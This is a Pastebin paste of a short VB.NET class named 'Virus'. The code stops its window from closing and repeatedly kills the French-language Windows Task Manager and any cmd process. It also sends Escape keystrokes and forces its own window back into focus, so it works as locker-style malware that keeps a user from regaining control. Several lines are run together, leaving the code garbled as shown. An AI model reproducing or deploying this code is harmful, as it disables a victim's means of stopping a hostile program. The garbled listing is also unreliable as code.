Advertisement
Guest User

Untitled

a guest
Jun 28th, 2016
61
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.57 KB | None | 0 0
  1. Public Class Virus
  2. Private Sub CloseForm(ByVal sender As System.Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosinge.Cancel = TrueEnd Sub
  3.  
  4. Private Sub Tick(sender As System.Object, e As System.EventArgs) Handles Action.TickFor Each Process As Process In Process.GetProcesses
  5. If (Process.MainWindowTitle = "Gestionnaire des tâches de Windows") Then
  6. Process.Kill()
  7. End If
  8. If (Process.ProcessName = "cmd") Then
  9. Process.Kill()
  10. End If
  11. Next
  12.  
  13. SendKeys.SendWait("{esc}")
  14. 'Cursor.Position = New Point(0, 0)
  15. Me.Activate()
  16. End Sub
  17. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement